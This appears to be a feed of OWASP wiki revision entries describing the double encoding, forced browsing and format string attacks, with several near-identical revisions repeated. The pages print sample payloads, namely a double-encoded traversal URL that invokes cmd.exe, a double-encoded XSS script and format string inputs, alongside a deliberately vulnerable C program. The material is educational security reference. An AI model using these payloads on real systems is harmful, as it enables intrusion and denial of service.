&lt;br /&gt;
In this scenario, the victim has an published executable directory (e.g. cgi) that’s stored on the same partition of Windows system folder. An attacker could execute arbitrary commands on the web server by submitting the following URL: &lt;br /&gt;
&lt;br /&gt;
Original URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, the application uses a security check filter that refuses requests containing characters like “../”. By double encoding the URL, it’s possible to bypass security the filter:&lt;br /&gt;
&lt;br /&gt;
Double encoded URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\ &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2 ===&lt;br /&gt;
A double encoding URL can be used to exploit XSS attack in order to bypass a built-in XSS detection module. Depending on implementation, the first decoding process is performed by HTTP protocol and the resultant encoded URL will bypass XSS filter, since it has no mechanisms to improve detection. A simple example XSS would be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This malicious code could be inserted into a vulnerable application,  resulting in a alert window with message “XSS”. However the web application can have a character filter such as “&amp;lt; “, “&amp;gt;” and “/”, since they are used to perform web application attacks. The attacker could use double encoding technique to bypass the filter and exploit client’s session. The encoding process for this Java script is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt;&amp;lt;b&amp;gt; Char &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt;&amp;lt;b&amp;gt; Hex encode &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt;&amp;lt;b&amp;gt; Then encoding '%' &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt;&amp;lt;b&amp;gt; Double encode &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “&amp;lt;” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%3C” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%253C” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “/” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%2F” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25”  &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%252F” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “&amp;gt;” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%3E” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25”  &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%253E” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally, the malicious double encoding code is:&lt;br /&gt;
&lt;br /&gt;
 %253Cscript%253Ealert('XSS')%253C%252Fscript%253E&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[XSS Attacks]]&lt;br /&gt;
*[[Path Traversal]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1945 &lt;br /&gt;
&lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0054&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Forced_browsing&amp;diff=33120</id>
		<title>Forced browsing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Forced_browsing&amp;diff=33120"/>
				<updated>2008-07-02T11:38:38Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Forced browsing is an attack that’s aim to enumerate and access resources that are not referenced by the application, but still can be accessible.&lt;br /&gt;
&lt;br /&gt;
An attacker can use brute force techniques to search for unlinked contents in domain directory, such as temporary directories and files, old backup and configuration files. These resources may store sensitive information about web applications and operational system, such as source code, credentials, internal network addressing, and so on, thus being considered a valuable resource for intruders.&lt;br /&gt;
 &lt;br /&gt;
This attack should be performed manually when the application index directories and pages based on number generation or predictable values,  or using automated  tools for common files and directories names.&lt;br /&gt;
&lt;br /&gt;
This attack is also known as Predictable Resource Location, File Enumeration, Directory Enumeration, and Resource Enumeration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
This example presents a technique of Predictable Resource Location attack, which is based on a manual and oriented identification of resources by modifying URL parameters. &lt;br /&gt;
The user1 wants to check his on-line agenda that is done thru the following URL: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; www.site-example.com/users/calendar.php/user1/20070715 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the URL, it is possible to identify the username (“user1”) and the date (mm/dd/yyyy).If the user attempts to make a forced browsing attack, he could guess another user’s agenda by predicting user identification and date, as follow: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; www.site-example.com/users/calendar.php/user6/20070716 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The attack can be considered successful upon accessing other user agenda. A bad implementation of the authorization mechanism also collaborated for this attack success.&lt;br /&gt;
&lt;br /&gt;
===Example 2 ===&lt;br /&gt;
This example presents how to perform an attack of static directory and file enumeration using an automated tool.&lt;br /&gt;
&lt;br /&gt;
A scanning tool, like [http://www.cirt.net/code/nikto.shtml | Nikto], has the ability to search for existent files and directories based on a database of well-know resources, such as:&lt;br /&gt;
&lt;br /&gt;
 /system/&lt;br /&gt;
 /password/&lt;br /&gt;
 /logs/&lt;br /&gt;
 /admin/&lt;br /&gt;
 /test/&lt;br /&gt;
&lt;br /&gt;
When the tool receives and “HTTP 200” message it means that such resource was found and should be manually inspected for valuable information. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Path Traversal]]&lt;br /&gt;
*[[Path Manipulation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Access Control Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Access Control]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*Forceful Browsing – Imperva Application Data Security and Compliance -  http://www.imperva.com/application_defense_center/glossary/forceful_browsing.html&lt;br /&gt;
&lt;br /&gt;
*Parameter fuzzing and forced browsing – WebAppSec - http://seclists.org/webappsec/2006/q3/0182.html&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/predictable_resource_location.shtml&lt;br /&gt;
&lt;br /&gt;
*http://cwe.mitre.org/data/definitions/425.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Forced_browsing&amp;diff=33119</id>
		<title>Forced browsing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Forced_browsing&amp;diff=33119"/>
				<updated>2008-07-02T11:38:28Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Forced browsing is an attack that’s aim to enumerate and access resources that are not referenced by the application, but still can be accessible.&lt;br /&gt;
&lt;br /&gt;
An attacker can use brute force techniques to search for unlinked contents in domain directory, such as temporary directories and files, old backup and configuration files. These resources may store sensitive information about web applications and operational system, such as source code, credentials, internal network addressing, and so on, thus being considered a valuable resource for intruders.&lt;br /&gt;
 &lt;br /&gt;
This attack should be performed manually when the application index directories and pages based on number generation or predictable values,  or using automated  tools for common files and directories names.&lt;br /&gt;
&lt;br /&gt;
This attack is also known as Predictable Resource Location, File Enumeration, Directory Enumeration, and Resource Enumeration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
This example presents a technique of Predictable Resource Location attack, which is based on a manual and oriented identification of resources by modifying URL parameters. &lt;br /&gt;
The user1 wants to check his on-line agenda that is done thru the following URL: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; www.site-example.com/users/calendar.php/user1/20070715 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the URL, it is possible to identify the username (“user1”) and the date (mm/dd/yyyy).If the user attempts to make a forced browsing attack, he could guess another user’s agenda by predicting user identification and date, as follow: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; www.site-example.com/users/calendar.php/user6/20070716 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The attack can be considered successful upon accessing other user agenda. A bad implementation of the authorization mechanism also collaborated for this attack success.&lt;br /&gt;
&lt;br /&gt;
===Example 2 ===&lt;br /&gt;
This example presents how to perform an attack of static directory and file enumeration using an automated tool.&lt;br /&gt;
&lt;br /&gt;
A scanning tool, like [http://www.cirt.net/code/nikto.shtml | Nikto], has the ability to search for existent files and directories based on a database of well-know resources, such as:&lt;br /&gt;
&lt;br /&gt;
 /system/&lt;br /&gt;
 /password/&lt;br /&gt;
 /logs/&lt;br /&gt;
 /admin/&lt;br /&gt;
 /test/&lt;br /&gt;
&lt;br /&gt;
When the tool receives and “HTTP 200” message it means that such resource was found and should be manually inspected for valuable information. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Path Traversal]]&lt;br /&gt;
*[[Path Manipulation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Access Control Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Access Control]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*Forceful Browsing – Imperva Application Data Security and Compliance -  http://www.imperva.com/application_defense_center/glossary/forceful_browsing.html&lt;br /&gt;
&lt;br /&gt;
*Parameter fuzzing and forced browsing – WebAppSec - http://seclists.org/webappsec/2006/q3/0182.html&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/predictable_resource_location.shtml&lt;br /&gt;
&lt;br /&gt;
*http://cwe.mitre.org/data/definitions/425.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Forced_browsing&amp;diff=33118</id>
		<title>Forced browsing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Forced_browsing&amp;diff=33118"/>
				<updated>2008-07-02T11:38:18Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Forced browsing is an attack that’s aim to enumerate and access resources that are not referenced by the application, but still can be accessible.&lt;br /&gt;
&lt;br /&gt;
An attacker can use brute force techniques to search for unlinked contents in domain directory, such as temporary directories and files, old backup and configuration files. These resources may store sensitive information about web applications and operational system, such as source code, credentials, internal network addressing, and so on, thus being considered a valuable resource for intruders.&lt;br /&gt;
 &lt;br /&gt;
This attack should be performed manually when the application index directories and pages based on number generation or predictable values,  or using automated  tools for common files and directories names.&lt;br /&gt;
&lt;br /&gt;
This attack is also known as Predictable Resource Location, File Enumeration, Directory Enumeration, and Resource Enumeration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
This example presents a technique of Predictable Resource Location attack, which is based on a manual and oriented identification of resources by modifying URL parameters. &lt;br /&gt;
The user1 wants to check his on-line agenda that is done thru the following URL: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; www.site-example.com/users/calendar.php/user1/20070715 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the URL, it is possible to identify the username (“user1”) and the date (mm/dd/yyyy).If the user attempts to make a forced browsing attack, he could guess another user’s agenda by predicting user identification and date, as follow: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; www.site-example.com/users/calendar.php/user6/20070716 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The attack can be considered successful upon accessing other user agenda. A bad implementation of the authorization mechanism also collaborated for this attack success.&lt;br /&gt;
&lt;br /&gt;
===Example 2 ===&lt;br /&gt;
This example presents how to perform an attack of static directory and file enumeration using an automated tool.&lt;br /&gt;
&lt;br /&gt;
A scanning tool, like [http://www.cirt.net/code/nikto.shtml | Nikto], has the ability to search for existent files and directories based on a database of well-know resources, such as:&lt;br /&gt;
&lt;br /&gt;
 /system/&lt;br /&gt;
 /password/&lt;br /&gt;
 /logs/&lt;br /&gt;
 /admin/&lt;br /&gt;
 /test/&lt;br /&gt;
&lt;br /&gt;
When the tool receives and “HTTP 200” message it means that such resource was found and should be manually inspected for valuable information. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Path Traversal]]&lt;br /&gt;
*[[Path Manipulation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Access Control Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Access Control]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*Forceful Browsing – Imperva Application Data Security and Compliance -  http://www.imperva.com/application_defense_center/glossary/forceful_browsing.html&lt;br /&gt;
&lt;br /&gt;
*Parameter fuzzing and forced browsing – WebAppSec - http://seclists.org/webappsec/2006/q3/0182.html&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/predictable_resource_location.shtml&lt;br /&gt;
&lt;br /&gt;
*http://cwe.mitre.org/data/definitions/425.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33117</id>
		<title>Format string attack</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33117"/>
				<updated>2008-07-02T11:38:02Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. This way, the attacker could execute code, read the stack or cause segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.&lt;br /&gt;
   &lt;br /&gt;
To understand the attack it’s necessary to explain the components that constitute it. They are:&lt;br /&gt;
•The '''Format Function''' is an ANSI C conversion function, like '''printf, fprintf''', which converts primitive variable of the programming language in a human readable string representation. &lt;br /&gt;
&lt;br /&gt;
•The '''Format String''' is the argument of the Format Function and is an ASCII Z string which contains text and format parameters, like: '''printf (&amp;quot;The magic number is: %d\n&amp;quot;, 1911)''';&lt;br /&gt;
&lt;br /&gt;
•The '''Format String Parameter''', like '''%x %s''' defines the type of conversion of the format function.&lt;br /&gt;
&lt;br /&gt;
The attack could be executed when the application doesn’t validate properly the submitted input. In this case if a Format Strings parameter, like %x, is inserted in the posted data,  the string is parsed by the Format Function the conversion specified in the parameters is executed.   However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack.&lt;br /&gt;
&lt;br /&gt;
This way is possible to define a well crafted input that could change the behavior of the format function permitting the attacker to cause deny of service or to execute arbitrary commands.&lt;br /&gt;
&lt;br /&gt;
If the application uses Format Functions in the source-code which is able to interpret formatting characters, the attacker could explore the vulnerability inserting formatting characters in a form of the website. For example, the '''printf''' function is used to print the username inserted in some fields of the page, the website could be vulnerable to this kind of attack, as showed below:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
Following some examples in the table 2 of Format Functions, which if not  treated can expose the application to the Format String Attack.&lt;br /&gt;
&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Format function&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
|fprint&lt;br /&gt;
|Writes the printf to a file&lt;br /&gt;
|-&lt;br /&gt;
|printf&lt;br /&gt;
|Output a formatted string&lt;br /&gt;
|-&lt;br /&gt;
|sprintf&lt;br /&gt;
|Prints into a string&lt;br /&gt;
|-&lt;br /&gt;
|snprintf&lt;br /&gt;
|Prints into a string checking the length&lt;br /&gt;
|-&lt;br /&gt;
|vfprintf&lt;br /&gt;
|Prints the a va_arg structure to a file&lt;br /&gt;
|-&lt;br /&gt;
|vprintf&lt;br /&gt;
|Prints the va_arg structure to stdout&lt;br /&gt;
|-&lt;br /&gt;
|vsprintf&lt;br /&gt;
|Prints the va_arg to a string&lt;br /&gt;
|-&lt;br /&gt;
|vsnprintf&lt;br /&gt;
|Prints the va_arg to a string checking the length&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Table 1. Format Functions'''&lt;br /&gt;
&lt;br /&gt;
Below there are some format parameters which can be used and its consequences:&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%x&amp;quot; Read data from the stack&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%s&amp;quot; Read character strings from the process' memory&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%n&amp;quot; Write an integer to locations in the process' memory&lt;br /&gt;
&lt;br /&gt;
To discover whether  the application is vulnerable to this type of attack, it´s necessary to verify if the format function accepts and parses the format string parameters show in the table 2.&lt;br /&gt;
&lt;br /&gt;
Format strings parameters:&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Parameters&lt;br /&gt;
!Output&lt;br /&gt;
!Passed as&lt;br /&gt;
|-&lt;br /&gt;
|%%&lt;br /&gt;
|% character (literal)&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%p&lt;br /&gt;
|External representation of a pointer to void&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%d&lt;br /&gt;
|Decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%c&lt;br /&gt;
|Character&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|%u&lt;br /&gt;
|Unsigned decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%x&lt;br /&gt;
|Hexadecimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%s&lt;br /&gt;
|String&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%n&lt;br /&gt;
|Writes the number of characters into a pointer&lt;br /&gt;
|Reference&lt;br /&gt;
|}&lt;br /&gt;
'''Table 2. Common parameters use to Format String Attack.''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example1===&lt;br /&gt;
The example has the intention to demonstrate how the application can behave when the format function does not receive the necessary treatments for the validation in the input of format string.&lt;br /&gt;
&lt;br /&gt;
First  it will be shown the application operating with normal behavior and normal inputs, then, the application operating when the attacker input the format string and the resultant behavior.&lt;br /&gt;
&lt;br /&gt;
Below it will be presented the source-code used for the example. &lt;br /&gt;
 #include  &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;stlib.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main (int argc, char **argv)&lt;br /&gt;
 {&lt;br /&gt;
 	char buf [100]&lt;br /&gt;
 	int x = 1&lt;br /&gt;
 	snprintf ( buf, sizeof buf, argv [1] ) ;&lt;br /&gt;
 	buf [ sizeof buf -1 ] = 0&lt;br /&gt;
 	printf ( “Buffer size is: (%d) \nData input: %s \n” , strlen (buf) , buf ) ;&lt;br /&gt;
 	printf ( “X equals: %d/ in hex: %#x\nMemory address for x: (%p) \n” , x, x, &amp;amp;x) ;&lt;br /&gt;
 	return 0 ;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next it will be presented the output that the program supplies when running with expected inputs. In this case the program received the string “Bob” as input and returned it in the output.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (16)&lt;br /&gt;
 Data input : Bob&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
Now  the format string vulnerability will be explored. If the format string parameter “%x %x” is inserted in the input string, when the format function parses the argument, the output will display the name Bob, but instead of showing the %x string, the application will show the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob %x %x”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (27)&lt;br /&gt;
 Data input : Bob bffff 8740&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
The inputs Bob and the format strings parameters will be attributed to the variable buf inside of the code which should take place of the %s in the Data input. So now the printf argument looks like:&lt;br /&gt;
&lt;br /&gt;
 printf ( “Buffer size is: (%d) \n Data input: Bob %x %x \n” , strlen (buf) , buf ) ;&lt;br /&gt;
&lt;br /&gt;
When the application prints the results, the format function will interpret the format strings inputs showing the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
==Example 2==&lt;br /&gt;
'''Denial of Service'''&lt;br /&gt;
&lt;br /&gt;
In this case,  when  an invalid address of memory is requested, normally the program is terminated, taking this as an example in a function:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
The attacker could insert a sequence of format strings, making the program to show the memory address where a lot of other data are stored, then, the attacker increases the possibilities of the program to read an illegal address, crashing the program and  causing its non-availability.&lt;br /&gt;
&lt;br /&gt;
 printf (%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s);&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Internal software developer]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Outsourced software developer]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Code Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation ]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Format_string_attack&lt;br /&gt;
&lt;br /&gt;
*http://seclists.org/bugtraq/2005/Dec/0030.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33116</id>
		<title>Format string attack</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33116"/>
				<updated>2008-07-02T11:37:48Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. This way, the attacker could execute code, read the stack or cause segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.&lt;br /&gt;
   &lt;br /&gt;
To understand the attack it’s necessary to explain the components that constitute it. They are:&lt;br /&gt;
•The '''Format Function''' is an ANSI C conversion function, like '''printf, fprintf''', which converts primitive variable of the programming language in a human readable string representation. &lt;br /&gt;
&lt;br /&gt;
•The '''Format String''' is the argument of the Format Function and is an ASCII Z string which contains text and format parameters, like: '''printf (&amp;quot;The magic number is: %d\n&amp;quot;, 1911)''';&lt;br /&gt;
&lt;br /&gt;
•The '''Format String Parameter''', like '''%x %s''' defines the type of conversion of the format function.&lt;br /&gt;
&lt;br /&gt;
